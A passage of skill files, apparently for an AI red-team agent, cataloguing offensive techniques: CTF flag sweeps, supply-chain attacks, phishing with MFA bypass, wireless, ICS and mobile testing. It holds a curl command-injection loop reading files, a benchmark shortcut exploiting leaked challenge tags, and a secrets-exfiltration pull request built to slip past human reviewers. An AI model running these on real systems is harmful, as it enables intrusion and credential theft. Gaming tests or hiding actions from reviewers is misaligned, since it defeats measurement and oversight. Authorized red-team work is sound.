`/skills/standard/exploit/web/SKILL.md`\nfor vuln routing).\n\n## SHORT-CIRCUIT — flag/credential found\n\nWhen a sub-agent (recon or exploit) returns a verified flag or\nflag-equivalent credential:\n\n1. Record the verified flag evidence on its active objective and mark it complete. Cancel remaining pending or blocked objectives through the injected OPPLAN workflow.\n2. Your VERY NEXT response is the final answer, re-echoing the flag\n VERBATIM in the format announced by the middleware (e.g.\n `Flag captured: FLAG{}`). The harness scans ONLY the\n orchestrator's final message — if the flag string lives only inside\n a sub-agent return, it is LOST.\n\n## Flag-path sweep (after RCE confirmed)\n\nGeneric skills under `/skills/standard/exploit/web/` (`command-injection/SKILL.md`, `cve/SKILL.md`, etc.) cover credential/secret extraction but intentionally exclude CTF flag conventions. Once any RCE primitive is confirmed (`id`, `hostname`, or arbitrary file read), run this single batched sweep — do NOT issue one curl per path:\n\n```bash\n# CTF flag-path conventions — XBOW / picoCTF / HackTheBox / TryHackMe overlap.\nfor f in /opt/flag.txt /flag /flag.txt /root/flag.txt /root/flag \\\n /home/*/flag.txt /home/*/flag /tmp/flag.txt /tmp/flag \\\n /var/www/flag.txt /var/www/html/flag.txt /srv/flag.txt /srv/flag; do\n result=$(curl -s \"http:///?cmd=cat+$f\" 2>/dev/null | head -5)\n [ -n \"$result\" ] && echo \"=== $f ===\" && echo \"$result\"\ndone | tee /tmp/flag_sweep.txt\nhead -50 /tmp/flag_sweep.txt\n\n# Broad flag-filename find (when path is non-standard)\ncurl -s \"http:///?cmd=find+/+-type+f+\\(-name+'flag*'-o+-name+'FLAG*'\\)+-not+-path+'/proc/*'+-not+-path+'/sys/*'+2>/dev/null\" \\\n -o /tmp/find_flag.txt\nhead -20 /tmp/find_flag.txt\n```\n\nReplace `` with the confirmed injection endpoint. If the flag's `format` (e.g. `FLAG{...}`, `flag{...}`, `CTF{...}`) was announced by the middleware, additionally grep the harvest for that prefix:\n\n```bash\ngrep -hoE '(FLAG|flag|CTF)\\{[^}]+\\}' /tmp/flag_sweep.txt /tmp/find_flag.txt | sort -u\n```\n\nThe generic credential harvest (`/etc/passwd`, `.env`, configs, SSH keys, secret/cred/token files) lives in `/skills/standard/exploit/web/command-injection/SKILL.md` — run BOTH sweeps post-RCE; flag-path first (objective), credential second (lateral).\n\n## Tag → Skill Routing Table (BENCHMARK FAST-PATH)\n\nBenchmark mode pre-declares `Vulnerability tags:` in the engagement context, leaking the\nchallenge's intended attack class. **In real engagements no such metadata exists** — agents\ndiscover the class through the domain router skill applied to recon's raw observations.\nThis table is the canonical fast-path for the benchmark shortcut and the **only** place\nthis mapping lives. Generic agent prompts (`recon.md`, `exploit.md`, `decepticon.md`)\nintentionally do not encode it — they route via the domain router skills\n(`/skills/standard/exploit//SKILL.md`) on observation evidence.\n\n**Consumer**: the orchestrator (`decepticon.md`). When dispatching exploit, the orchestrator\nmay consult this table to pick the matching sub-skill directly from the pre-declared tags,\nskipping the observation-based router classification. **Recon does NOT consume this table**\n— recon's role is observation, not classification or skill recommendation.\n\n| `Vulnerability tag` | `/skills/standard/exploit/web//SKILL.md` |\n|---|---|\n| `sqli` | `sqli.md` |\n| `blind_sqli` | `blind-sqli.md` (load with `sqli.md` when sqlmap+tamper is exhausted) |\n| `xss` | `xss.md` |\n| `ssti` | `ssti.md` |\n| `ssrf` | `ssrf.md` |\n| `xxe` | `xxe.md` |\n| `lfi` | `lfi.md` |\n| `path_traversal` | `lfi.md` |\n| `command_injection` | `command-injection.md` |\n| `insecure_deserialization` | `deserialization.md` |\n| `idor` | `idor.md` |\n| `arbitrary_file_upload` | `file-upload.md` |\n| `file_upload` | `file-upload.md` |\n| `graphql` | `graphql.md` |\n| `race_condition` | `race-condition.md` |\n| `smuggling` | `smuggling.md` |\n| `crypto` | `crypto.md` |\n| `business_logic` | `business-logic.md` |\n| `default_credentials` | `business-logic.md` |\n| `jwt` | `business-logic.md` (no dedicated file) |\n| `cve` | `cve.md` |\n\nFor multiple tags → emit one `REQUIRED SKILL LOAD:` line per mapped skill.\n\n## What this skill is NOT\n\n- vulnerability routing → `/skills/standard/exploit/{web,ad}/SKILL.md`\n- recon playbooks → `/skills/standard/recon//SKILL.md`\n- OPSEC → `/skills/shared/opsec/SKILL.md`\n- per-challenge context → middleware-injected, every turn\n- agent-specific behavior → that agent's prompt and `/skills//`\n","packages/decepticon/decepticon/skills/standard/supply-chain/SKILL.md":"---\nname: supply-chain-overview\ndescription: >\n Use when the engagement scope includes supply-chain attack simulation —\n typosquatted package publication, dependency confusion, GitHub Actions\n secret mining, internal mirror poisoning, OAuth-app impersonation,\n or vendor portal credential abuse.\nmetadata:\n skillogy:\n version: 1\n subdomain: supply-chain\n when_to_use: \"supply chain typosquat dependency confusion gh actions secret oauth app impersonation internal mirror poisoning vendor portal\"\n tags: supply-chain, typosquatting, dep-confusion, gh-actions, oauth-app\n mitre_attack: T1195, T1195.001, T1195.002, T1199, T1136, T1543\n---\n\n# Supply Chain Operator Skill Catalog\n\nSupply-chain attacks have grown 1,300% since 2020 per Decepticon's own\n[ai-red-teaming.md](../../red-team/tools-techniques.md). This catalog\ngives the agent the playbooks to simulate the most common patterns —\nall in a sandbox-isolated mode that publishes to a local mock registry by\ndefault and to a real one only with `supply_chain_real_publish=true` in\nConOps.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the technical guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **typo-name-gen** | Generate typosquat candidates for a target package; reachability + popularity score |\n| **dep-confusion-probe** | Check whether an internal package name is squat-able on PyPI / NPM / RubyGems / NuGet |\n| **post-install-script** | Author + sandboxed publish of a benign post-install probe |\n| **gh-actions-fork-pr** | Fork-PR secret mining; `pull_request_target` misconfiguration scan |\n| **oauth-app-impersonation** | Lookalike OAuth app + scope-creep social engineering |\n| **internal-mirror-poison** | Verdaccio / Artifactory / Nexus index manipulation |\n| **sbom-divergence** | Audit SBOM vs actual installed packages for drift |\n| **vendor-portal-creds** | SaaS vendor admin portal credential abuse paths |\n\n## Dry-run mode\n\nAll publish-mode skills accept a `--dry-run` flag that:\n\n1. Generates the typosquat package contents in `/workspace/typo-pkg/`.\n2. Builds the artifact (`.tar.gz`, `.tgz`, etc.) without uploading.\n3. Computes the \"hit probability\" via the target package's historical\n download counts + Levenshtein distance.\n4. Reports the artifact location + hit probability for human review.\n\nReal publish requires both `supply_chain_real_publish=true` in ConOps AND\noperator HITL approval at the moment of publish. Defense in depth.\n\n## GitHub Actions attack surface\n\nMost rewarding attack class in 2024-2026. Common misconfigurations:\n\n- `pull_request_target` with `actions/checkout` of `${{ github.event.pull_request.head.sha }}`\n → fork PRs run with target-repo secrets.\n- `workflow_run` triggers reading `inputs` without sanitization.\n- `${{ github.event.pull_request.title }}` interpolated into shell.\n- Shared `GITHUB_TOKEN` with write scope on `contents`.\n\nThe `gh-actions-fork-pr` skill encodes the full enumeration: search the\ntarget org's workflows, identify exploitable patterns, build a PoC fork\nPR that exfiltrates `secrets.*` without modifying the workflow file\nitself (so the operator's PR doesn't look obviously malicious to a human\nreviewer).\n\n## Detection references\n\nSupply-chain detection and assurance artifacts include:\n\n- A Sigma rule for the SIEM (e.g., unusual `npm install` in CI logs,\n `actions/checkout@` followed by `secrets.*` reference patterns).\n- A GitHub Actions YAML linter rule for the customer's pre-merge checks.\n- A SLSA attestation gap report.\n\n## Out of scope\n\nReal-world publication that could harm third parties (other companies\nwho consume the customer's internal packages). The `dep-confusion-probe`\nexplicitly avoids this by checking name availability without uploading;\nthe operator decides whether to follow through.\n","packages/decepticon/decepticon/skills/standard/reverser/SKILL.md":"---\nname: reverser-overview\ndescription: Root pointer for the binary reversing lane. Covers triage, Radare2 fallback, string extraction, packer unpacking, virtualized protectors, symbol risk, ROP, Ghidra deep analysis, and firmware extraction.\nmetadata:\n subdomain: reverse-engineering\n when_to_use: \"reverser binary reversing triage strings packer unpack rop ghidra firmware VMProtect VMP2 Themida virtualized protectors overview routing\"\n upstream_ref: \"Decepticon reverser lane catalog — Ghidra, Radare2, Back Engineering VMProtect/Themida research, AFL++, libFuzzer, binwalk, and binary triage tooling\"\n capability_contract:\n lane: reverse-engineering\n scope: isolated-lab\n environment: [analysis-container, disposable-vm]\n required_tools: [ghidra, radare2, sanitizer]\n evidence: [binary-sha256, function-map, dynamic-trace, minimized-input]\n verification: \"reproduce the claimed behavior against the pinned binary hash\"\n negative_control: \"run a benign corpus input through the same harness\"\n scorecard: [reproducer-rate, root-cause-rate, artifact-completeness]\n benchmark: held-out-reversing\n---\n\n# Reverser Skill Catalog\n\n## Playbooks\n| Skill | Use for |\n|---|---|\n| `/skills/standard/reverser/triage/SKILL.md` | First-pass ELF/PE/Mach-O triage |\n| `/skills/standard/reverser/firmware/SKILL.md` | Router / IoT firmware extraction |\n| `/skills/standard/reverser/packer-unpacking/SKILL.md` | UPX / ASPack / Themida / VMProtect |\n| `/skills/standard/reverser/virtualized-protectors/SKILL.md` | VMProtect / VMP2 / Themida workflow |\n| `/skills/standard/reverser/rop-chain/SKILL.md` | Gadget hunting for exploit dev |\n| `/skills/standard/reverser/anti-debug-bypass/SKILL.md` | IsDebuggerPresent, ptrace, NtGlobalFlag |\n| `/skills/standard/reverser/ghidra/SKILL.md` | Deep Ghidra analysis — decompile, xrefs, imports, P-code |\n| `/skills/standard/reverser/windows-internals/SKILL.md` | Defensive driver exposure assessment in disposable Windows VMs |\n| `/skills/standard/reverser/game-security/SKILL.md` | Self-hosted game client, protocol, replay, and server-authority research |\n\n## Workflow\n1. Check which reversing tools the active runtime exposes. Hosted runs use an isolated REA/Ghidra companion and mirrored GUI; standalone OSS starts the `reversing` workload for REA native analysis.\n2. `bin_identify` — format, arch, NX/PIE\n3. `bin_packer` — entropy + signature\n4. If packed → follow the packer-unpacking skill, re-identify after unpack\n5. `bin_strings` — category=url/ip/crypto/secret/version to seed the graph\n6. `bin_symbols_report` — risk bucket classification\n7. Version strings → `cve_lookup` + `cve_by_package`\n8. In hosted runs, the engagement agent passes a discovered `/workspace` binary to `rea_open_binary` and discovers available native tools with `rea_find_tools`. In standalone OSS, call `rea_find_tools(binary_path, query)` to pin the binary and discover the active Ghidra provider's tools.\n9. Inspect functions and cross-references with REA native tools, preserving each Evidence ID and bundle manifest. Hosted GUI visibility is a separate readback claim. In standalone OSS, use `rea_call_tool` for deep analysis and `bin_r2_script` as a fallback when REA is unavailable.\n10. Record every observation in the knowledge graph\n","packages/decepticon/decepticon/skills/standard/phisher/SKILL.md":"---\nname: phishing-overview\ndescription: >\n Phishing / social-engineering catalog for the Phisher agent. Use ONLY when the\n engagement RoE authorizes a phishing engagement. Covers pretext design, GoPhish\n campaigns, evilginx2 MFA-bypass proxying, O365 credential/token harvest, lookalike\n domains, and the mandatory blue-team deconfliction handshake.\nmetadata:\n skillogy:\n version: 1\n subdomain: phishing\n when_to_use: \"phishing, social engineering, initial access, gophish, evilginx2, mfa bypass, lure, pretext, o365 oauth, lookalike domain, deconfliction\"\n mitre_attack:\n - T1566\n - T1566.001\n - T1566.002\n - T1598\n - T1656\n tags:\n - phishing\n - social-engineering\n - initial-access\n - evilginx\n - gophish\n---\n\n# Phishing / Social-Engineering Skill Catalog\n\n**Gating.** Every skill here refuses to execute unless the engagement\nRoE authorizes a phishing engagement and the blue-team\ndeconfliction acknowledgment (`lure-deconfliction`) is recorded for\nthat campaign's scope and send window. Phishing\nreal employees without written authorization is a crime — the RoE +\ndeconfliction ack are the operator's legal coverage.\n\n## Playbooks\n\n| Skill | Use for |\n|---|---|\n| `/skills/standard/phisher/pretext-engineering/SKILL.md` | Design the pretext + target shortlist from OSINT (LinkedIn / Hunter.io) |\n| `/skills/standard/phisher/gophish-campaign/SKILL.md` | GoPhish API: groups, email templates, landing pages, campaign launch + tracking |\n| `/skills/standard/phisher/evilginx2-proxy/SKILL.md` | evilginx2 phishlet authoring; capture session cookies past MFA |\n| `/skills/standard/phisher/o365-credential-harvest/SKILL.md` | O365 / Entra OAuth device-code + token capture and replay |\n| `/skills/standard/phisher/lookalike-domain/SKILL.md` | Punycode / lookalike domain + DNS + TLS provisioning |\n| `/skills/standard/phisher/lure-deconfliction/SKILL.md` | MANDATORY blue-team acknowledgment and evidence before sending |\n\n## Infrastructure pattern\n\n```\n[Target inbox] -> [NGiNX reverse proxy on attacker domain]\n ├─ /login → evilginx2 phishlet (MFA bypass + session capture)\n └─ /landing → GoPhish (campaign tracking + analytics)\n```\n\n- The NGiNX layer is OPSEC: blue-team URL classifiers see one domain;\n internal routing splits phishlet vs landing by path / referer.\n- TLS via Let's Encrypt + `acme.sh`; keep ACME challenges off the\n phishlet path.\n- SPF / DKIM / DMARC must be correct on the sender domain or modern\n inboxes drop the mail. Soundwave's phishing template walks the\n operator through DNS setup.\n\n## Deconfliction (mandatory)\n\nEvery outbound mail carries an engagement header\n(`X-Decepticon-Eng: `) the SOC allow-lists so simulated phishing\nis distinguishable from a real attack. The `lure-deconfliction` skill\nis a hard gate before the first send — skipping it is a critical RoE\nviolation.\n\n## Failsafe\n\nOn operator stop or SOC request, wind down within 5 minutes: pause the\nGoPhish campaign, return 502 on the evilginx2 phishlet, and repoint the\nsender domain to a static \"this was an authorized test — contact your\nsecurity team\" page.\n","packages/decepticon/decepticon/skills/standard/wireless/SKILL.md":"---\nname: wireless-overview\ndescription: >\n Top-level index for the Decepticon 802.11 wireless attack suite. Routes the\n WirelessOperator to the correct leaf skill based on the target AP's crypto\n column (PSK / SAE / MGT / WPS) and engagement posture. BLE, Zigbee, Z-Wave,\n LoRaWAN, and sub-GHz live under iot/ by design — link provided below to\n prevent duplication.\nallowed-tools: Bash Read Write\nmetadata:\n skillogy:\n version: 1\n subdomain: wireless\n when_to_use: \"Wi-Fi, 802.11, WPA2, WPA3, EAP, enterprise, evil-twin, deauth, WPS, PSK, SAE, wireless attack, airspace, WLAN, rogue AP\"\n tags:\n - wifi\n - 802.11\n - wpa2\n - wpa3\n - eap\n - evil-twin\n - deauth\n - wps\n mitre_attack: T1040, T1557, T1110.001\n---\n\n# 802.11 Wireless Attack Suite — Operator Index\n\n> Verify the configured hardware mode and authorized wireless scope\n> before using a leaf skill. This index maps the target's crypto mode\n> to the applicable techniques.\n\n## Playbook table\n\n| Leaf skill | Crypto column / trigger | Primary MITRE | Status |\n|---|---|---|---|\n| [wpa2-psk](wpa2-psk/SKILL.md) | `WPA2 PSK`, `WPA PSK` | T1040, T1110.001 | shipped |\n| [wpa3-sae](wpa3-sae/SKILL.md) | `WPA3 SAE`, `WPA2 WPA3` transition mode | T1557, T1040 | shipped |\n| [wpa-enterprise-eap](wpa-enterprise-eap/SKILL.md) | `MGT`, `WPA-Enterprise`, `802.1X` | T1557, T1110.001 | shipped |\n| [wps-pixie-dust](wps-pixie-dust/SKILL.md) | WPS column non-empty, `WPS` flag in wash | T1110.001, T1040 | shipped |\n| [evil-twin-karma](evil-twin-karma/SKILL.md) | Open / PSK, PNL probe leakage, captive portal | T1557, T1556 | shipped |\n| [deauth-pmf](deauth-pmf/SKILL.md) | Any target needing client reconnect or 802.11w posture finding | T1498, T1040 | shipped |\n| [krack-fragattacks](krack-fragattacks/SKILL.md) | Legacy / embedded supplicant, key-reinstallation / fragmentation test | T1557, T1040 | shipped |\n\n> BLE GATT, Zigbee Touchlink, Z-Wave, LoRaWAN, and sub-GHz attacks\n> are scoped to `standard/iot/`. Cross-reference that suite when the\n> objective targets non-802.11 RF.\n\n## Hardware mode pointer\n\nLeaf skills require the configured mode and its actual hardware access:\n\n```\nmode = plan/roe.json:machine_enforcement.wireless.mode\n \"in_sandbox\" → USB passthrough, monitor mode inside Kali\n \"dropbox\" → ssh -- '' for every wireless op\n \"none\" → refuse, return outcome=blocked\n```\n\n## Crypto-mode decision tree\n\n```\nairodump-ng --write-interval 1 --output-format csv ...\nRead the ENC/CIPHER/AUTH columns:\n\n ENC=WPA2, AUTH=PSK → wpa2-psk\n ENC=WPA3, AUTH=SAE → wpa3-sae\n ENC=WPA2+WPA3, AUTH=SAE+PSK → wpa3-sae (transition-mode downgrade path)\n AUTH=MGT / 802.1X → wpa-enterprise-eap\n WPS column non-empty → wps-pixie-dust (run in parallel with PSK path)\n Open / no credential needed → evil-twin-karma (KARMA/portal capture)\n\nAfter selecting the primary leaf, always check:\n - deauth-pmf: needed if Path B (four-way) is chosen OR as standalone PMF finding\n - krack-fragattacks: applicable when target is legacy/embedded/poor-patch-cadence\n```\n\n## KG node contract\n\nAll wireless leaf skills use the same node types:\n\n| Node kind | Typical props |\n|---|---|\n| `Network` | ssid, bssid, channel, crypto, pmf_state |\n| `Host` | mac, oui, last_seen_bssid |\n| `Credential` | secret_type, ssid, bssid, psk/eap_identity/eap_challenge |\n| `Finding` | title, cve_ids (if applicable), severity, remediation |\n\n## OPSEC posture cross-reference\n\n| posture | techniques permitted |\n|---|---|\n| `stealth` | PMKID (wpa2-psk Path A), passive PMF detect (deauth-pmf), Pixie-Dust only |\n| `standard` | + targeted deauth (1 frame), EAP capture, WPS Pixie-Dust |\n| `loud` | + broadcast deauth, evil-twin, KARMA, beacon flood, online WPS brute |\n\n> Evil-twin always requires explicit `permitted_actions: evil_twin` in\n> `plan/roe.json` regardless of posture.\n","packages/decepticon/decepticon/skills/standard/ics/SKILL.md":"---\nname: ics-overview\ndescription: >\n Use when the target is an industrial control system or operational technology\n network running Modbus, BACnet, S7Comm/S7Comm Plus, DNP3, OPC-UA, or any\n PLC/HMI/SCADA stack. Engagements MUST set RoE flag\n industrial_safety_critical=true; this catalog gates every write-scope\n operation behind explicit operator confirmation regardless of HITL middleware.\nmetadata:\n skillogy:\n version: 1\n subdomain: ics\n when_to_use: \"ics ot industrial control modbus bacnet s7comm dnp3 opcua plc hmi scada safety-critical operational technology\"\n tags: ics, ot, scada, plc, hmi, modbus, bacnet, s7, dnp3, opcua\n mitre_attack: T0800, T0801, T0859, T0830, T0814, T0846\n safety_critical: true\n---\n\n# ICS / OT Operator Skill Catalog\n\nIndustrial engagements are not application security with longer rules of\nengagement — they are a different discipline. A miswritten Modbus coil\non a real plant kills people. This catalog is **read-mostly by default**;\nevery write-scope skill carries an explicit safety gate.\n\n## Hard rules\n\n1. **No writes without OPPLAN.safety_critical confirmation**. The\n middleware refuses writes when the active OPPLAN objective does not\n carry `safety_critical_confirmed=true`. Bypass requires operator\n signature in `/workspace/safety-attestation.txt`.\n2. **Read-only protocol discovery first**. Identify what's on the wire\n before any active probing. Many ICS protocols are unauthenticated;\n a single malformed read can crash an old PLC.\n3. **Out-of-band physical safety**. The blue team includes plant ops.\n A ConOps with `blue_team.plant_ops_phone` is mandatory for engagements\n on active production lines.\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the protocol assessment guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **modbus-discovery** | Read-only Modbus TCP/RTU enumeration, function code 3/4 polling |\n| **modbus-write** | **GATED** Write coils / registers; safety gate enforced |\n| **bacnet-discovery** | BACnet/IP Who-Is, object enumeration, device profile |\n| **s7comm** | Siemens S7 / S7Comm Plus enumeration via Snap7 / python-snap7 |\n| **dnp3** | DNP3 outstation / master discovery; integrity poll |\n| **opcua** | OPC-UA browse, anonymous auth check, certificate analysis |\n| **hmi-web** | HMI web stacks (Wonderware, Iconics, Schneider) — known CVEs |\n| **engineering-software** | TIA Portal / Studio 5000 / Unity Pro project extraction |\n\n## Protocol assessment\n\n1. **Passive observation**: tap a SPAN port if available. Identify protocols\n on the wire (`tshark -Y modbus || tshark -Y bacnet || ...`).\n2. **Network-layer discovery**: nmap with `-sV --script modbus-discover`,\n `bacnet-info`, `s7-info`, `dnp3-info` (NSE scripts ship in Kali by\n default; some are slow — set `-T2` for production networks).\n3. **Function-code-3 polling**: read holding registers from every Modbus\n device discovered. Log register maps to the knowledge graph as\n `:Service` nodes with `protocol=modbus`.\n4. **Identify the safety integrity level (SIL)** of any device touched.\n SIL 3+ devices NEVER get write probes without plant-ops sign-off.\n5. **Engineering software attack path**: if you can reach the engineering\n workstation, extract the project archive (.s7p, .acd, .stp). The\n project file is the crown jewel — it reveals the entire process model.\n\n## Detection gap\n\nICS networks rarely have host-based detection on PLCs/RTUs themselves —\nthe detection stack lives on the engineering workstation, the historian,\nand any IT/OT gateway. Relevant Sigma detection patterns include:\n\n- Function-code anomalies (write to coils outside normal ranges).\n- Connection sources outside the documented MES/SCADA IP set.\n- TIA Portal / Studio 5000 project download events.\n\n## Out of scope by default\n\nActive glitching of PLC firmware; firmware upload to PLCs; safety\ncontroller writes — all of these require an explicit RoE annex signed\nby the asset owner. The default ICS RoE template in `soundwave/` includes\nthis annex skeleton.\n","packages/decepticon/decepticon/skills/standard/mobile/SKILL.md":"---\nname: mobile-overview\ndescription: >\n Use when the engagement target is an Android (APK / AAB) or iOS (IPA)\n application. Covers static analysis (jadx, apktool, class-dump),\n dynamic instrumentation via Frida and Objection, SSL-pinning bypass,\n root/jailbreak detection bypass, deep-link / URL-scheme abuse,\n exported-component attacks, IPC redirection, WebView vulnerabilities,\n and biometric / Face ID / Touch ID bypass.\nmetadata:\n subdomain: mobile\n when_to_use: \"mobile android ios apk aab ipa jadx apktool frida objection ssl pinning bypass root jailbreak detection deep link url scheme exported component ipc webview biometric face id touch id\"\n subdomain: mobile\n tags: mobile, android, ios, frida, objection, ssl-pinning, jadx, apktool\n mitre_attack: T1635, T1623, T1517, T1521, T1517.001\n---\n\n# Mobile Operator Skill Catalog\n\nMobile is 40% of modern bug-bounty programs and is conspicuously absent\nfrom Strix and XBOW commercial. This catalog covers both platforms with\nshared Frida tooling for runtime work.\n\n## Playbooks — Android\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the Workflow in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **apk-triage** | apktool decode + jadx -d for source recovery |\n| **manifest-analysis** | exported components, permissions, deeplinks |\n| **insecure-storage** | SharedPreferences / SQLite / external storage scans |\n| **intent-redirection** | Intent forwarding / pendingIntent abuse |\n| **webview-flaws** | JavaScriptInterface, file:// access, mixed content |\n| **frida-ssl-pin-bypass** | OkHttp / TrustKit / Cordova pin-bypass scripts |\n| **root-detect-bypass** | Common root-detection libraries and their bypasses |\n\n## Playbooks — iOS\n\n| Technique | Use for |\n|---|---|\n| **ipa-triage** | class-dump-z + Hopper; Mach-O headers; entitlements |\n| **keychain-acl** | Keychain ACL misconfigurations; `kSecAccessControl` flags |\n| **url-scheme-abuse** | Universal links + URL scheme handler attacks |\n| **xpc-services** | XPC interface enumeration; unauthenticated XPC services |\n| **frida-trust-killer** | SSL Kill Switch + Frida pin-bypass for iOS apps |\n| **jailbreak-detect-bypass** | DTAppJailbreakDetectorSwift, Liberty Lite, common patterns |\n\n## Cross-platform\n\n| Technique | Use for |\n|---|---|\n| **frida-bridge** | frida-server install on emulator / jailbroken device; basic scripts |\n| **objection-walkthrough** | Objection cheatsheet (env, memory, sqlite, classes) |\n| **firebase-misconfig** | Firebase /Firestore RLS / Storage / Auth bypasses |\n| **mobile-api-testing** | Burp / Caido proxy → mobile API endpoint enumeration |\n\n## Workflow\n\n1. **Triage**: jadx for Android, class-dump for iOS. Search strings for\n API endpoints, Firebase config, AWS keys.\n2. **Static**: AndroidManifest.xml exported components; iOS Info.plist\n URL schemes + entitlements.\n3. **Dynamic setup**: Frida server on a rooted emulator (Android) or\n jailbroken physical device (iOS); Objection for quick inspection.\n4. **SSL pin bypass**: Frida script; verify HTTPS now visible in Burp.\n5. **API enumeration**: re-route the app through the proxy; spider\n reachable endpoints; export to Burp project for later web-recon-style\n testing.\n6. **Insecure storage**: pull `/data/data//` (Android) or app\n container (iOS); grep for credentials, tokens, PII.\n7. **Component-level attacks**: send crafted Intents (`adb shell am\n start ...`) or URL-scheme payloads (`xcrun simctl openurl ...`).\n\n## Tools sandbox\n\n- adb + emulator / physical device.\n- jadx, apktool, dex2jar, jd-gui.\n- class-dump, Hopper Disassembler, IDA Free (host-side).\n- Frida-server (per device), frida (host), objection.\n- mitmproxy / Burp Suite Community / Caido (PR #304 lands the LangChain\n Caido tool bundle).\n- MobSF (`mobsf` Docker image) for automated triage when speed matters.\n","packages/decepticon/decepticon/skills/standard/osint/SKILL.md":"---\nname: osint-overview\ndescription: >\n Use when the engagement requires passive reconnaissance only — no\n packets to the target's authoritative infrastructure. Splits off from\n the Recon agent so bug-bounty and pre-engagement work can run with\n outbound-only network policy. Maltego, Shodan, Censys, Hunter.io,\n breach-data lookups, GitHub code search, Wayback Machine archives,\n certificate transparency, BGP/ASN mapping.\nmetadata:\n skillogy:\n version: 1\n subdomain: osint\n when_to_use: \"osint passive reconnaissance maltego shodan censys hunter breach data github code search wayback machine certificate transparency bgp asn outbound only bug bounty\"\n subdomain: osint\n tags: osint, passive-recon, shodan, censys, breach-data, ct-logs, bgp\n mitre_attack: T1589, T1590, T1591, T1593, T1594, T1596\n network_policy: outbound-only\n---\n\n# OSINT-Only Operator Skill Catalog\n\nThis catalog is **passive**. No packets reach the target. Sandbox network\npolicy must restrict outbound to known-OSINT endpoints only (Shodan,\nCensys, Hunter, GitHub API, crt.sh, Wayback, etc.).\n\n## Playbooks\n\n> **Inline technique reference — not separately loadable skills.** The entries below\n> are summarized here for direct use; there is no separate `SKILL.md` to open for\n> each. Do NOT call the skill loader on them — apply the technique with your tools\n> using this summary and the passive analysis guidance in this file.\n\n\n| Technique | Use for |\n|---|---|\n| **domain-pivots** | Whois history, reverse-IP, related-domain enumeration |\n| **ct-logs** | crt.sh / Censys cert search for subdomain enumeration |\n| **shodan-fingerprint** | Shodan host search; service / banner / ssl.cn pivots |\n| **censys-pivots** | Censys cert/host/services pivots |\n| **github-code-search** | GitHub code search for org's leaked secrets / config |\n| **wayback-archives** | Wayback Machine API; retired endpoints, deleted docs |\n| **breach-data** | HIBP / DeHashed (RoE-permitted only); credential reuse paths |\n| **employee-profiling** | LinkedIn search (Sales Nav / manual), email-format inference |\n| **asn-bgp** | ASN ownership, BGP table snapshots, RIR records |\n| **maltego** | Maltego CLI graph projection; transform chain |\n| **cryptocurrency** | Chain analysis (Etherscan / Mempool.space / Arkham) for crypto-adjacent targets |\n| **geospatial** | Image geolocation, EXIF mining, satellite/streetview cross-reference |\n\n## Passive analysis\n\n1. **Seed**: from the engagement target (domain, company name, brand).\n2. **Domain layer**: whois, reverse-IP, CT logs → enumerate every\n subdomain and adjacent domain.\n3. **Service layer**: Shodan + Censys against discovered IPs → service\n inventory (NO probing; just consume cached scan data).\n4. **Code layer**: GitHub code search for the target's org name, domain\n names, internal package names, AWS account IDs.\n5. **People layer**: employees via LinkedIn; email format inference;\n HaveIBeenPwned for credential reuse.\n6. **Infrastructure layer**: BGP + ASN ownership; Wayback retired\n endpoints; SSL/TLS cert history.\n7. **Synthesis**: project the graph into Neo4j as a pre-engagement map.\n Active confirmation requires RoE permission and is outside this\n passive-only catalog.\n\n## Network policy\n\n```\n[osint-operator container] → outbound to: shodan.io, api.censys.io,\n api.hunter.io, api.github.com,\n crt.sh, archive.org, hibp/api/v3,\n maltego.com, etherscan.io, ...\n NO outbound to the engagement target.\n```\n\nThe sandbox-net policy for OSINT engagements pins this allowlist. Any\nattempted egress to the actual target IP/domain triggers a SafeCommand\nrefusal.\n\n## Why split from Recon\n\nRecon is active by default — port scans, version probing, directory\nbrute-forcing. Bug-bounty programs and pre-engagement scoping work\nexplicitly forbid touching production. OSINT-only enforces the\nno-touch contract structurally rather than relying on the agent prompt\nto remember.\n","packages/decepticon/decepticon/skills/standard/contracts/SKILL.md":"---\nname: contracts-overview\ndescription: Smart contract audit lane — Solidity/EVM pattern scanner, Slither ingestion, Foundry PoC generation, DeFi attack playbooks.\nmetadata:\n subdomain: smart-contracts\n when_to_use: \"smart contract solidity evm slither foundry defi audit lane overview routing\"\n mitre_attack:\n - T1190\n - T1565\n - T1565.001\n capability_contract:\n lane: web3\n scope: isolated-lab\n environment: [anvil, forked-chain]\n required_tools: [forge, slither]\n evidence: [foundry-poc, evm-trace, patched-build-result]\n verification: \"run the exploit test against the exact deployment or pinned fork\"\n negative_control: \"run the baseline test without the exploit precondition\"\n scorecard: [validated-rate, patched-build-non-repro-rate, unique-root-causes]\n benchmark: held-out-web3\n---\n\n# Smart Contract Audit Catalog\n\n## Playbooks\n| Skill | Use for |\n|---|---|\n| `/skills/standard/contracts/reentrancy/SKILL.md` | Classic + read-only reentrancy |\n| `/skills/standard/contracts/oracle-manipulation/SKILL.md`| Single-block TWAP / spot price abuse |\n| `/skills/standard/contracts/flash-loan/SKILL.md` | Flash-loan callback + unauth gadgets |\n| `/skills/standard/contracts/access-control/SKILL.md` | Missing modifiers, wrong msg.sender |\n| `/skills/standard/contracts/upgradeable-proxy/SKILL.md` | Uninitialized impl, storage clash |\n| `/skills/standard/contracts/signature-replay/SKILL.md` | Cross-chain, ecrecover zero address |\n\n## Workflow\n1. Map the target: `bash(\"find /workspace/src -name '*.sol' | head -50\")`\n2. `solidity_scan_file` on each file\n3. Run slither: `bash(\"cd /workspace && slither . --json slither.json\")`\n4. `slither_ingest(\"/workspace/slither.json\")`\n5. `kg_query(kind=\"vulnerability\", min_severity=\"high\")` to see the highs\n6. For each high, generate a Foundry PoC via `foundry_reentrancy_test` etc.\n7. `bash(\"forge test -vvv --match-contract Test_\")` to run\n8. Promote passing PoCs as validated findings\n\n## Default severity floor\n| Impact | CVSS / Reward 